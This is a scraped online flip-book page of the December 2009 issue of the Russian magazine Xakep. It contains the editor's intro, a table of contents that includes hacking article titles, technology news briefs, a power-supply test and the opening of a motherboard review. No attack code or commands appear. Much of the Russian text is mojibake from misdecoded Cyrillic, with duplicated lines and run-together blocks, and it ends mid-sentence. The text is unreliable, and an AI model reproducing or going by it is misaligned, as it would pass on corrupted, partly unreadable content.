11.07.2015 Views

2009 - Xakep Online

2009 - Xakep Online

2009 - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

INTROËèñòàë òîëüêî ÷òî äåêàáðüñêèå íîìåðà Õ çà ðàçíûå ãîäû. Íàêîïèëîñü èõ íåìàëî: 9 øòóê, à ýòîò íîìåð,÷òî òû äåðæèøü â ðóêàõ, — äåñÿòûé ïî ñ÷åòó.Êîãäà Õ òîëüêî ïîÿâèëñÿ, ìíîãèå ãíèëîñòíûå ëþäè ïðî÷èëè åìó ñêîðîå çàêðûòèå. Íî âîò ïðîøëî 10 ëåòè Õàêåð — ñàìûé óçíàâàåìûé êîìïüþòåðíûé æóðíàë â Ðîññèè, âîñïèòàâøèé öåëîå ïîêîëåíèå òåõíè÷åñêèòâîð÷åñêèõ ëþäåé. È ñàìîå ãëàâíîå, íåñìîòðÿ íà âñå êðèçèñû è íåâçãîäû, ìû ñ áîëüøèì îïòèìèçìîìñìîòðèì âïåðåä è ïëàíèðóåì åùå áîëüøå ðàäîâàòü òåáÿ êðóòûìè ñòàòüÿìè, âçëîìàìè è èññëåäîâàíèÿìèâ íîâîì ãîäó :). Êñòàòè, î ïðàçäíèêå.Êàê íè îòíîñèòüñÿ ê íåìó, Íîâûé ãîä è 10 äíåé ïîñëå íåãî — ñóïåðñêîå âðåìÿ äëÿ òîãî, ÷òîáû îòäîõíóòü,óäåëèòü âíèìàíèå áëèçêèì è äðóçüÿì, çàïëàíèðîâàòü è îáäóìàòü êàêîå-òî ðàçâèòèå íà ãîä-äðóãîé âïåðåä.Æåëàþ òåáå èìåííî ýòîãî: õîðîøåãî îòäûõà è áîëüøèõ ïëàíîâ ïî ñîáñòâåííîìó ðîñòó è ðàçâèòèþ.Ñ íîâûì ãîäîì!nikitozz, ãë. ðåä. Õnikitoz@real.xakep.ru


Content Декабрь <strong>2009</strong>Взлом046 EASY-HACKХакерские секреты простых вещей050 ÌÎÁÈËÜÍÛÉ ÏÅÍÒÅÑÒÈÍÃПоиск уязвимостей в современных WAP-сайтах054 ÏÈËÈÌ XBTITНестандартные уязвимости скриптов058 ÐÀÇÁÈÂÀÅÌ PURAN DEFRAGРоковой взлом 64-битной программы062 ÍÅÑËÅÏÛÅ ÈÍÚÅÊÖÈÈ:ÁÛÑÒÐÅÅ, ÂÛØÅ È ÑÍÎÂÀ ÁÛÑÒÐÅÅРеволюционные подходык эксплуатации SQL-инъекций068 ÝÍÖÈÊËÎÏÅÄÈß ÀÍÒÈÎÒËÀÄÎ×ÍÛÕ ÏÐÈÅÌÎÂР еверсерские трюки и фишки072 X-TOOLSПрограммы для взлома118MegaNews004 Все новое за последний месяцFerrum016 ÄËß ÂÑÅÕТестирование ноутбука ASUS UL80V018  ÇÄÎÐÎÂÎÌ ÊÎÐÏÓÑÅ — ÇÄÎÐÎÂÛÉ ÁÏТестирование блоков питания мощностью от 600 Вт024 ÔÎÐÌÓËÀ-3Тестирование системной платыASUS MAXIMUS III Formula026 LINUX  ÊÀÐÌÀÍÅТест-драйв платформы Maemo5 в Nokia N900PC_ZONE030 GOOGLE WAVE: ÑÒÎßÙÈÉ ÑÅÐÂÈÑ ÈËÈ ÏÓÑÒÛØÊÀ?Наш ультра-полный FAQ по Google Wave036 ÍÀËÀÆÈÂÀÅÌ ÑÈÑÒÅÌÓ ÏÐÈÅÌÀ ÏËÀÒÅÆÅÉ8 способов принимать оплату с клиентов в инете040 ÏÐÎÊÀ×ÈÂÀÅÌ ÂÈÐÒÓÀËÜÍÓÞ ÌÀØÈÍÓРазбираем с API виртуалки и добавляем ей веб-интерфейсСцена074 ÑÖÅÍÀ <strong>2009</strong>Самые громкие дела уходящего годаЮниксойд078 ÂÑÒÐÅ×À ÏÐÎØËÎÃÎ È ÁÓÄÓÙÅÃÎОбзор основных достиженийв мире OpenSource за прошедшийгод и попытка заглянуть в будущее084 ÁÅÐÅÃÈ ÑÅÁßЗащищаемся от западлостроенийКодинг088 ÎÁËÀÌÛÂÀÅÌ ÏÐÎÀÊÒÈÂÊÓЭлегантный обход проактивной защитына уровне нулевого кольца092 ÒÐÎßÍ ÍÀ PYTHONОсновы зловредного кодинга на Python’e подWindows 7096 ÒÎÒÀËÈÒÀÐÍÛÉ ÊÎÍÒÐÎËÜ ÒÐÀÔÈÊÀЛовим и контролируем весь TCP/UCP-трафик накомпьютере100 CODING 7.0Новые возможности для разработчиков в Windows 7104 ÊÎÄÅÐÑÊÈÅ ÒÈÏÑÛ È ÒÐÈÊÑÛТри правила кодинга на C++ для настоящих спецов


SYN/ACK112 ÝÔÔÅÊÒ ÍÅÂÀËßØÊÈПростые шаги для созданияотказоустойчивого Windows-сервера118 ÁÎÅÂÎÉ ÀÐÑÅÍÀË ÑÈÑÀÄÌÈÍÀОбзор полезного админского софта124 ÃÎÂÎÐÈÒ È ÏÎÊÀÇÛÂÀÅÒ WEB 2.0Создаем собственный YouTube128 IN DA FOCUSОбзор серверных железок130 ÏÎ ÑÊÐÛÒÛÌ ÑËÅÄÀÌРасследование инцидентов в Unix и Windows088ФРИКИНГ108 ÁÅÒÎÍÍÛÅ ×ÀÑÛНеоновая хорологияЮниты134 PSYCHO: ËÓ×света на темные стороны фрауда Мошенничествов реале: теория и способы защиты138 FAQ UNITEDБольшой FAQ141 ÄÈÑÊÎ8.5 Гб всякой всячины144 WWW2Удобные web-сервисы092/ÐÅÄÀÊÖÈЯ>Ãëàâíûé ðåäàêòîðÍèêèòà «nikitozz» Êèñëèöèí(nikitoz@real.xakep.ru)>Âûïóñêàþùèé ðåäàêòîðНиколай«gorl»Андреев(gorlum@real.xakep.ru)>Ðåäàêòîðû ðóáðèêÂÇËÎÌДмитрий«Forb» Докучаев(forb@real.xakep.ru)PC_ZONE и UNITSСтепан «step» Ильин(step@real.xakep.ru)UNIXOID, SYN\ACK и PSYCHOÀíäðåé «Andrushock» Ìàòâååâ(andrushock@real.xakep.ru)ÊÎÄÈÍÃАлександр «Dr. Klouniz» Лозовский(alexander@real.xakep.ru)ФРИКИНГСергей Долин>Ëèòåðàòóðíûй ðåäàêòîðДмитрий Лященко(lyashchenko@gameland.ru)/ART>Àðò-äèðåêòîðЕвгений Новиков(novikov.e@gameland.ru)>ВерстальщикВера Светлых(svetlyh@gameland.ru)/DVD>Выпускающий редакторСтепан «Step» Ильин(step@real.xakep.ru)>Редактор Unix-разделаАнтон «Ant» Жуков>Монтаж видеоМаксим Трубицын/PUBLISHING>Ó÷ðåäèòåëüÎÎÎ «Ãåéì Ëýíä»119021, Москва, ул. Тимура Фрунзе,д. 11, стр. 44-45Тел.: +7 (495) 935-7034Факс: +7 (495) 780-8824>Генеральный дèðåêòîðÄìèòðèé Àãàðóíîâ>Óïðàâëÿþùèé äèðåêòîðÄàâèä Øîñòàê>Äèðåêòîð ïî ðàçâèòèþÏàøà Ðîìàíîâñêèé>Äèðåêòîð ïî ïåðñîíàëóТатьяна Гудебская>Ôèíàíñîâûé äèðåêòîðАнастасия Леонова>Редакционный директорДмитрий Ладыженский>PR-менеджерНаталья Литвиновская>Директор по маркетингуДмитрий Плющев>Главный дизайнерЭнди Тернбулл>Директор по производствуСергей Кучерявый/ÐÅÊËÀÌÀ/ Тел.: (495) 935-7034, факс: (495) 780-8824>Директор группы GAMES & DIGITALЕвгения Горячева (goryacheva@gameland.ru)>МенеджерыОльга ЕмельянцеваМария НестероваМария НиколаенкоМаксим СоболевНадежда ГончароваНаталья Мистюкова>АдминистраторМария Бушева>Работа с рекламными агентствамиЛидия Стрекнева (strekneva@gameland.ru)>Старший менеджерСветлана Пинчук>Старший трафик-менеджерМарья Алексеева/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ>Äèðåêòîð îòäåëàäèñòðèáóöèèÀíäðåé Ñòåïàíîâ(andrey@gameland.ru)>Руководитель московскогонаправленияОльга Девальд(devald@gameland.ru)>Руководитель региональногонаправленияÒàòüÿíà Êîøåëåâà(kosheleva@gameland.ru )>Руководитель отдела подпискиМарина Гончарова(goncharova@gameland.ru)òåë.: (495) 935.70.34ôàêñ: (495) 780.88.24> Ãîðячая ëèíèя ïî ïîäïèñêåòåë.: 8 (800) 200.3.999Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè> Äëя писем101000, Ìîñêâà,Ãëàâïî÷òàìò, à/ÿ 652, ÕàêåðÇàðåãèñòðèðîâàíî â ÌèíèñòåðñòâåÐîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõêîììóíèêàöèé ÏÈ ß 77-11802 îò 14ôåâðàëÿ 2002 ã.Îòïå÷àòàíî â òèïîãðàôèè«Lietuvas Rivas», Литва.Òèðàæ 100 000 ýêçåìïëÿðîâ.Öåíà äîãîâîðíàÿ.Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíîñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿóâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðåïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ êðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèåäàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõöåëÿõ, ìîãóò áûòü ïðèâëå÷åíû êîòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõîòâåòñòâåííîñòè íå íåñåò.Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çàñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé âíîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâáåç ñïðîñà — ïðåñëåäóåì.По вопросам лицензирования и полученияправ на использование редакционных материаловжурнала обращайтесь по адресу:content@gameland.ruВ октябрьский номер за <strong>2009</strong> год вкраласьдосадная опечатка. Автором статьи«Рожденные мультимедиа революцией»является Юрий «bober» Раззоренов (zloy.bobr@gmail.com), а не Юрий Видинеев.Редакция приносит свои извинения за этуошибку.© ÎÎÎ «Ãåéì Ëýíä», РФ, <strong>2009</strong>


PC27MEGANEWSÈ ÍÈÊÒÎ ÍÅ ÓØÅËÎÁÈÆÅÍÍÛÌМы уже рассказывали о том, что шведские ребята НикласЗеннстрем и Янус Фриис, бывшие владельцы Skype,продавшие свое детище eBay несколько лет назад закругленькую сумму, попытались вернуть Skype обратно всудебном порядке, попутно заработав на этом денег. Правана технологию Joltid, на основе которой работает Skype,оставались в руках Зеннестрема и Фрииса, и когда eBayотказался рассматривать их предложение о сделке, шведыпринялись требовать по $75 млн. за каждый день «нелегальной»работы сервиса. С тех пор прошло несколькомесяцев и вот, хорошие новости — ситуация разрешиласьмиром. Очевидно, «шантажисты» не врали — патенты иправа у них, в самом деле, имелись. Дело в том, eBay, грозившийсявообще переписать все с нуля и категорическиотказывавшийся платить бизнесменам что-либо, в итоге,согласился на сделку — Зеннестрем и Фриис получили нетолько места в совете директоров, но 14% акций компанииSkype. Коварство шведских прогеров не знает границ :).ÍÎÂÛÉ ÏÐÎÒÎÊÎË UTP — È ÂÀØÈÌ, È ÍÀØÈÌКомпания BitTorrent порадовала всех юзеров ипровайдеров новым протоколом под названиемuTP. Разработка призвана разгрузить каналы,избавив провайдеров от головной боли — теперьпри обнаружении «заторов» в сети, прога самабудет снижать активность, давая поработать ивсему остальному. Торрент-трафик давно являетсяпроблемой и для самих пользователей, которыеÏÎ ÄÀÍÍÛÌ DR.WEB, ÍÀÑÒÎßÙÈÌÂÈÐÓÑÍÛÌ «ÕÈÒÎÌ» ÎÑÅÍÈ ÑÒÀËÎ×ÅÐÅÄÍÎÉ ÔÅÉÊÎÂÛÉ ÀÍÒÈÂÈÐÓÑTROJAN.FAKEALERT.частенько не могут нормально посидеть в сети из-заактивности торрент-клиента, и для провайдеров, укоторых падает общая скорость соединения, так каквсе каналы забиты торрент-трафиком. На официальномсайте utorrent.com выложена бета-версияклиента, использующая технологию uTP. uTorrent 2.0уже «обкатали» несколько десятков тысяч человек, иникаких нареканий пока не возникло.ÌÛØÜ ÔÐÀÍÊÅÍØÒÅÉÍÀКажется, чуваки из OpenOffice.org сошли с ума. Чем ещеобъяснить их совместное с WarMouse творение — 18-кнопочнуюмышь OpenOfficeMouse, страшную, как смертный грех?Внешне девайс представляет собой классический «привет из90-х», и с трудом удается поверить в то, что мышка не «шариковая».Но эксцентричный манипулятор, конечно, лазерный,он действительно обладает 18-ю программируемым кнопками,а так же 512 Кб флеш-памяти, джойстиком в духе Xbox ифеерической ценой $75. Разработчики утверждают, что мышкадолжна понравиться профессиональным пользователям свободногоофисного пакета, ведь с ее помощью все можно делатьбуквально одним кликом. На деле монстр вряд ли заинтересуетдаже геймеров, которые частенько используют мыши с кучейдополнительных кнопок (например, для онлайновых забав).Дело в том, что дизайн устройства настолько неудобен, а кнопоктак много, что даже геймер, скорее, предпочтет что-нибудьпопроще и, конечно, более эргономичное.ÁÐÈÒÍÈ ÎÏßÒÜ ÂÇËÎÌÀËÈ. ÂÈÄÈÌÎ, ÝÒÎ ÊÀÐÌÀПохоже, Бритни Спирс скоро можно будетприсудить какое-нибудь звание типа «самаявзламываемая звезда в Сети». Хакеры в очереднойраз добрались до аккаунтов певицы вTwitter и MySpace. Напомним, что ее микроблог006ломали уже неоднократно — хакеры объявлялимисс Спирс мертвой, постили от ее имени описаниеее же собственных гениталий, а теперьпорадовали фоловеров звезды записями вдухе: «Я поклоняюсь дьяволу». А Бритни, междупрочим, одна из наиболее популярных в Twitterличностей — ее читают почти 4 миллионачеловек. На данный момент аккаунты певицыуже восстановлены, и все записи, сделанныехакерами, удалены.XÀÊÅÐ 12 /132/ 09


009


MEGANEWSÑÓÌÌÀÐÍÛÉ ÎÁÎÐÎÒ ÑÈÑÒÅÌÛ «ßÍÄÅÊÑ. ÄÅÍÜÃÈ»ÇÀ ÏÐÎØÅÄØÈÉ ÃÎÄ ÂÛÐÎÑ Â 1.5 ÐÀÇÀ.«ÕÀÊÈÍÒÎØ» ÍÅ ÏÐÎÉÄÅÒХитрые чуваки из компании PsyStar, которые первыми додумались официально продавать на территории СШАкомпы с Mac OS X Leopard на борту (то есть, попросту говоря, с «хакинтошем»), проиграли Apple в суде. Судпризнал PsyStar виновной в нарушении целого ряда патентов и авторских прав, принадлежащих компанииApple, а также в модификации ядра и, соответственно, во взломе ПО с целью получения коммерческой выгоды.И хотя PsyStar пытались сделать «ход конем» и даже подали встречный иск против Apple, обвиняя Джобсаи компанию в злоупотреблении положением на рынке Mac’ов, это не помогло. Встречный иск суд отклонил.Теперь PsyStar предстоит отвечать по всей строгости закона, если компания, конечно, не подаст апелляцию,что, скорее всего, и произойдет. Все же, в США подобные «фокусы» не проходят.ÌÈÐ, ÄÐÓÆÁÀ,ÆÅËÅÇÊÈВесть о временном (или не очень? кто знает)перемирии пришла из стана двух «железных»гигантов — Intel и AMD. Обе компании распространилипресс-релизы, в которых сообщили, чтонаконец-то сумели придти к мирному соглашению.Холодная война между лидерами в области производстважелеза длится уже много лет, взаимнымпретензиям и судебным искам нет числа.Например, совсем недавно Intel приговорили кочередному огромному штрафу и обнародовалидокументы, подтвердившие, что компания предоставляласвоим вендорам разнообразные бонусыи скидки, если те взамен соглашались прекратитьзакупки товара у AMD вообще, или сократить их до5% от ассортимента. Тем интереснее сейчас выглядятпресс-релизы, в которых Intel и AMD сообщают,что отзывают все судебные иски друг противдруга и обещают заняться кросслицензированиемтехнологий друг друга. Intel же отныне и вовсесобирается бороться со своим «заклятым другом»исключительно честными путями и обещает выплатитьAMD $1.25 млрд. «за все хорошее».ÄÀÒÑÊÈÅ ÀÍÒÈÏÈÐÀÒÛ ÏÐÈÇÍÀËÈ ÑÂÎÅ ÏÎÐÀÆÅÍÈÅДатская организация Antipiratgruppen, которая занимаетсяборьбой с пиратством, официально заявила, что больше несобирается преследовать юзеров файлообменных сетей.Дело в том, что доказать факт нарушения пользователемавторских прав в Дании, похоже, становится почти невозможно.В прошлом году Antipiratgruppen уже проиграличетыре процесса в Верховном суде, потому что без поимкинарушителя на месте преступления, либо без признания егонарушителем, суд невозможен. И если с поимкой на местевсе более или менее ясно (это просто нереально), то ситуациюс IP-адресами, которые всегда служили неоспоримымдоказательством, стоит пояснить. Оказывается, по мнениюМинистерства культуры страны, IP-адрес может указать лишьна подписчика на услугу доступа в интернет, но никак не нанарушителя. В итоге, Antipiratgruppen, не имеющие возможностиловить пользователей за руку, в буквальном смысле,были вынуждены отказаться от преследований вовсе.010XÀÊÅÐ 12 /132/ 09


MEGANEWSÀÏÃÐÅÉÄ ÄËß ÍÅÒÁÓÊÎÂОбладателей нетбуков Asus Eee PC наверняка порадуютновые SDD-накопители SaberTooth S4 от компании ActiveMedia Products. Новые SDD оснащены интерфейсомSATA 3 Гбит/с и полностью совместимы с моделями серий900, 900A, 901 и 1000, а также с Windows 7. SaberTooth S4демонстрируют отличную скорость чтения — 130 Мб/с, чтопочти в 5 раз быстрее стандартных SDD, которым комплектуютсяEee PC. Помимо хорошей скорости девайсы отличаютсянизким энергопотреблением, умением выравниватьнагрузки и управлять дефектными блоками. Всего будетвыпущено три модификации емкостью 16, 32 и 64 Гб, и ихстоимость составит $59.95, $99.95 и $169.95 соответственно.ÑÏÅÖ ÏÎ ÂÇËÎÌÓ ÌÎÄÅÌΠÏÎÏÀË ÐÓÊÈ ÔÁÐÇÀ ÏÅÐÈÎÄ Ñ ÈÞËßÏÎ ÎÊÒßÁÐÜ <strong>2009</strong>ÃÎÄÀ  ÐÎÑÑÈÈ ÁÛËÎÂÎÇÁÓÆÄÅÍÎ 156ÓÃÎËÎÂÍÛÕ ÄÅË ÏÎÔÀÊÒÓ ÈÑÏÎËÜÇÎÂÀÍÈßÍÅËÈÖÅÍÇÈÎÍÍÛÕÏÐÎÄÓÊÒΠADOBE.В США арестовали и собираются судить 26-летнего эксперта по кабельным модемам РайанаХарриса, известного под ником DerEngel. Харрис не просто «очередной хакер», парень действительнопризнанный специалист, в частности, он является автором книжки Hacking the CableModem — очень полезного чтива о перепрошивке железок. Власти США, однако, имеют своемнение на этот счет. ФБР очень не понравилась коммерческая деятельность DerEngel — егофирма TCNISO занималась продажей модифицированных девайсов и ПО для их перепрошивкии «разгона» (можно было увеличить скорость в обход ограничений, установленных провайдером,плюс поменять MAC-адрес устройства). По данным ФБР, на продаже прошивок Sigma и Sigma X,проги Blackcat, а также хакнутых модемов Motorola Surfboard 5100 Харрис успел сколотить более$1 млн. Его наработками пользовались хакеры со всего мира, что ФБР, конечно, тоже не радовало.В итоге, теперь Харрису грозит до 20 лет лишения свободы и штраф в размере примерно $250.000.ÓÒßÆÅËÅÍÍÀß ÌÛØÜВ продажу поступил интересный девайс для геймеров — мышь по имени Smog откомпании Ozone Gaming Gear. Грызун может похвастаться сразу рядом интересныхфишек, первой из которых является возможность регулировки веса — в комплектвходит шесть грузиков весом по 5 г. Корпус мыши эргономичен и выполнен ассиметрично,так что девайс, к сожалению, предназначен исключительно для правшей.В целом, агрессивный дизайн «Смога» определенно станет бальзамом на душулюбого игромана — боковые плоскости корпуса имеют ребристое резиновое покрытие,все 7+2 клавиши, конечно, программируются, а скролл имеет 4 направления.Лазерный сенсор Avago 9500, в свою очередь, обеспечит разрешение до 5040 dpi, акерамические ножки — идеальное скольжение. Цена мыши составляет порядка 50евро.012XÀÊÅÐ 12 /132/ 09


Реклама 013


FERRUMАВТОР: СЕРГЕЙ НИКИТИН ТЕСТЕР: ЕВГЕНИЙ ПОПОВHiperS625-GUFSP 80PLUS700WGlacialpoGP-AP700P 80PLUS700WialpowerAP700CAThermaltakeToughpowerXT 650WAntecThermaltakeToughpowerXT 650W ÇÄÎÐÎÂÎÌÊÎÐÏÓÑÅ —ÇÄÎÐÎÂÛÉ ÁÏÒÅÑÒÈÐÎÂÀÍÈÅ ÁËÎÊΠÏÈÒÀÍÈß ÌÎÙÍÎÑÒÜÞ ÎÒ 600 ÂÒCorsairHX750WAntecÁÅÇ ÝÒÎÃÎ ÊÎÌÏÎÍÅÍÒÀ ÍÅ ÁÓÄÓÒ ÐÀÁÎÒÀÒÜ È ÄÎÑÒÀÂËßÒÜ ÒÅÁÅ ÐÀÄÎÑÒÜ ÎÒ ÎÁÙÅÍÈßÑ ÂÈÐÒÓÀËÜÍÎÑÒÜÞ ÍÈ ÌÎÙÍÅÉØÈÉ ÏÐÎÖÅÑÑÎÐ, ÍÈ ÂÈÄÅÎÏËÀÒÀ ÏÎÑËÅÄÍÅÉÌÎÄÅËÈ, ÍÈ ÑÂÅÐÕÁÛÑÒÐÀß ÏÀÌßÒÜ, ÍÈ ËÞÁÛÅ ÄÐÓÃÈÅ ÊÎÌÏÎÍÅÍÒÛ ÒÂÎÅÃÎÑÈÑÒÅÌÍÎÃÎ ÁËÎÊÀ, ÊÀÊÈÌÈ ÁÛ ÏÅÐÂÎÊËÀÑÑÍÛÌÈ ÎÍÈ ÁÛ ÍÅ ÁÛËÈ. ÝÒÎ ÁËÎÊÏÈÒÀÍÈß. ÑÅÃÎÄÍß ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÓÑÒÐÎÉÑÒÂÀ, ÍÀÈÁÎËÅÅ ÏÎÏÓËßÐÍÛÅ ÓÁÎËÜØÈÍÑÒÂÀ ÏÎËÜÇÎÂÀÒÅËÅÉ — ÁÏ ÌÎÙÍÎÑÒÜÞ ÎÒ 600 ÂÒ.МЕТОДИКАТЕСТИРОВАНИЯТестирование блоков питания мы проводили в несколькоэтапов. Первоначально это было простоевизуальное изучение устройства - мы обращаливнимание на качество сборки. Вторым шагом былразбор блока питания, для изучения качестваего начинки: нас очень интересовало сечениепроводов, количество и качество конденсаторов,есть ли в БП дроссели на выходе и входе, а такженасколько качественно и аккуратно смонтированався начинка. Третий шаг заключался в изучениишума, издаваемого устройством. Для чистотыэксперимента на тестовом ПК были демонтированывсе вентиляторы, которые были заменены нарадиаторы — на чипсете, процессоре и видеоплате.Причем уровень шума фиксировался не на«холодном» БП, а через час непрерывной работы.Завершала тестирование, наверное, самаяважная техническая часть, в ходе которой мыизмеряли КПД и коэффициент мощности представленныхблоков питания, в зависимости отнагрузки. Для этого мы применяли специальныйнагрузочный модуль, который способен выдаватьопределенную нагрузку, что позволяет сниматьзначения интересующих нас параметров призафиксированных значениях мощности.ТЕХНОЛОГИИК выбору блока питания нужно подходить оченьсерьезно по нескольким причинам. Во-первых,это устройство заменяется не так часто,как процессоры, видеоплаты и т.д. Поэтомувложения в него оправданы. Во-вторых, отнего очень многое зависит: хороший БП непросто предоставляет питание всем остальнымкомпонентам, но и может защитить компьютер отнекоторых проблем с электричеством, которыеобычно чреваты перегоревшими компонентами,требующими дорогостоящей замены. Так что,вложенные сейчас в хороший блок питанияденьги могут сэкономить тебе много времении нервов впоследствии. Выбирая БП, нужно,в первую очередь, обратить внимание на еговес — хороший, качественный блок питания поопределению не может быть легким. Если жеэто так, то можно сделать вывод о профнепригодности— легковесность БП говорит о том, чтопри его производстве было сэкономлено немалокомпонентов, без которых не получить хорошегоблока питания. Главный параметр, на которыйобычно обращает внимание каждый покупательPSU, это мощность. Естественно, чем онабольше, тем выше и цена устройства. Сегодняуже не редкость блоки питания мощностью 1000Вт и более, но нужен ли тебе такой монстр? Этиустройства предназначены для ультраигровыхПК, оснащенных несколькими видеоплатамии прочими излишествами, которые требуютбольшого количества энергии. Современномудомашнему компьютеру даже мощной игровоймашине, со SLI- или CrossFire-конфигурацией,будет вполне достаточно БП мощностью до750-800 Вт (850-900 Вт в крайне редких случаях).Конечно, учитывая долгожительство блоковпитания в наших корпусах, неплохо бы иметьнебольшой запас в 50 Вт с прицелом на будущее,но вложения в перспективу нужно планировать,учитывая текущее финансовое состояние.018XÀÊÅÐ 12 /132/ 09


FERRUMÑÂÎÄÍÀß ÒÀÁËÈÖÀ.ÊÏÄ ÏÐÈ ÏÈÊÎÂÎÉ ÍÀÃÐÓÇÊÅ %Thermaltake XT 650WHiper S625-GUGlacialpower GP-AP700CAFSP 80Plus 700WCorsair HX750WAntec Earthwatts 750W0 10 20 30 40 50 60 70 80 90И ОПЯТЬ CORSAIR ЛУЧШИЙ, НА ЭТОТ РАЗ В РАБОТЕ ПРИ ПИКОВОЙНАГРУЗКЕÊÎÝÔÔÈÖÈÅÍÒ ÌÎÙÍÎÑÒÈ ÏÐÈÏÈÊÎÂÎÉ ÍÀÃÐÓÇÊÅThermaltake XT 650WHiper S625-GUGlacialpower GP-AP700CAFSP 80Plus 700WCorsair HX750WAntec Earthwatts 750W0 0.2 0.4 0.6 0.8 1ВСЕ УЧАСТНИКИ ТЕСТИРОВАНИЯ ДЕМОНСТРИРУЮТ НЕПЛОХИЕРЕЗУЛЬТАТЫFSP 80PLUS700WÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ТИП: МОДУЛЬНЫЙЗАЯВЛЕННАЯ МОЩНОСТЬ, ВТ: 700РАЗЪЕМЫ: 3 (MOLEX), 3 (SATA), 1 (FDD), 2 (PCI-E)ВЕНТИЛЯТОРЫ, ММ: 1Х120СХЕМА КОРРЕКЦИИ: АКТИВНАЯ6000 ðóá.GLACIALPOWERGP-AP700CAÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ТИП: СТАНДАРТНЫЙЗАЯВЛЕННАЯ МОЩНОСТЬ, ВТ: 700РАЗЪЕМЫ: 6 (MOLEX), 6 (SATA), 1 (FDD), 2 (PCI-E)ВЕНТИЛЯТОРЫ, ММ: 1Х140СХЕМА КОРРЕКЦИИ: АКТИВНАЯ4000 ðóá.Модель мощностью 700 Вт от компании FSP смотрится очень стильно:имеется подсветка, корпус выкрашен в веселый синий цвет, а решетканад вентилятором золотистая. Помимо внешних красот, блок питанияможет похвастаться соответствием стандарту 80Plus, что самым положительнымобразом сказывается на его работе. В комплект поставки входятспециальные фиксаторы, которые помогут тебе аккуратно расположитьшлейфы и провода внутри корпуса. Все кабели, которые тянутся к или отблока питания, имеют разноцветную оплетку, чтобы ты не ошибся примонтаже.Из шлейфов, что впаяны в БП, есть один PCI-E, но лишь для работыв 6-контактном режиме. В коробке мы обнаружили только три дополнительныхшлейфа: с тремя разъемами типа Molex, линию PCI-E свозможностью превращения шести контактов в восемь, а также кабель стремя же коннекторами SATA. Получается, что, возможно, тебе придетсядокупать кабели.020Всегда приятно исследовать новое, а не уже хорошо знакомое устройство,а на момент написания статьи упоминаний о GlacialpowerGP-AP700CA не было даже на сайте производителя. Набор шлейфов иразъемов включает в себя все самое необходимое: присутствуют шестьмолексов и столько же SATA-коннекторов, пара линий PCI-E (могут из6- быть переделаны в 8-контактные). Проверив блок питания на предметпросадок по линиям 3, 5 и 12 В мы не обнаружили особых проблем, что характеризуетустройство с положительной стороны. Экстерьер устройстваобычный: 120-мм вентилятор, черный корпус и так далее, все стандартно,надежно и без особых изысков.Наше техническое исследование показало, что коэффициент полезногодействия этого блока питания не превышает 80%. Это, конечно, не говорит,что он плохой, но, учитывая, что из всего ассортимента БП GlacialPower стандарту 80 Plus соответствуют только пять устройств, можносказать: пока уровень этих блоков питания отнюдь не самый высокий.XÀÊÅÐ 12 /132/ 09


XÀÊÅÐ 12 /132/ 09027


XÀÊÅÐ 12 /132/ 09027


FERRUMЕВГЕНИЙ ПОПОВ9000 ðóá.ÔÎÐÌÓËÀ-3ÒÅÑÒÈÐÎÂÀÍÈÅ ÑÈÑÒÅÌÍÎÉ ÏËÀÒÛ ASUS MAXIMUS III FORMULAÊÎÌÏÀÍÈß ASUS ÕÎÐÎØÎ ÈÇÂÅÑÒÍÀ ÍÅ ÒÎËÜÊÎ ÑÂÎÈÌÈ ÏÐÎÄÓÊÒÀÌÈ ÏÎÒÐÅÁÈ-ÒÅËÜÑÊÎÃÎ ÑÅÊÒÎÐÀ, ÍÎ È ÓÇÊÎÑÏÅÖÈÀËÈÇÈÐÎÂÀÍÍÛÌÈ ÐÅØÅÍÈßÌÈ, ÐÀÑÑ×ÈÒÀÍ-ÍÛÌÈ Â ÏÅÐÂÓÞ Î×ÅÐÅÄÜ ÍÀ ÝÍÒÓÇÈÀÑÒÎÂ. ÒÀÊ, ÍÅÄÀÂÍÎ ÁÛËÀ ÏÐÅÄÑÒÀÂËÅÍÀÑÈÑÒÅÌÍÀß ÏËÀÒÀ ASUS MAXIMUS III FORMULA ÑÅÐÈÈ R.O.G. (REPUBLIC OF GAMERS),ÐÀÑÑ×ÈÒÀÍÍÀß ÍÀ ÐÀÁÎÒÓ Ñ ÏÐÎÖÅÑÑÎÐÀÌÈ INTEL ÄËß ÐÀÇÚÅÌÀ SOCKET LGA1156.ÓÑÒÐÎÉÑÒ ÂÎ, ÁÅÇ ÑÎÌÍÅÍÈß, ÈÍÒÅÐÅÑÍÎÅ — È ÈÌÅÍÍÎ ÏÎÝÒÎÌÓ ÌÛ ÐÅØÈËÈ ÓÄÅ-ËÈÒÜ ÍÎÂÎÉ ÏËÀÒÔÎÐÌÅ ÑÀÌÎÅ ÏÐÈÑÒÀËÜÍÎÅ ÂÍÈÌÀÍÈÅ.ÎÂÅÐÊËÎÊÅÐÓ ÍÀ ÇÀÌÅÒÊÓВсе настройки, связанные с разгоном, можноосуществлять в меню Extreme Tweakerнепосредственно в BIOS системной платы.Сама система ввода/вывода представленаверсией AMI BIOS v.02.61. В разделе ты найдешьширочайший набор настроек, описатьполный набор в формате нашей статьи достаточносложно. Скажем только, что здесь, помимоосновной массы регулировок, присутствуетвозможность калибровки напряженияна самом процессоре, на его контроллере,напряжения на чипсете, контроля амплитуды024напряжения на чипсете и на процессоре, тактовогосигнал чипсета. И все это не говоря 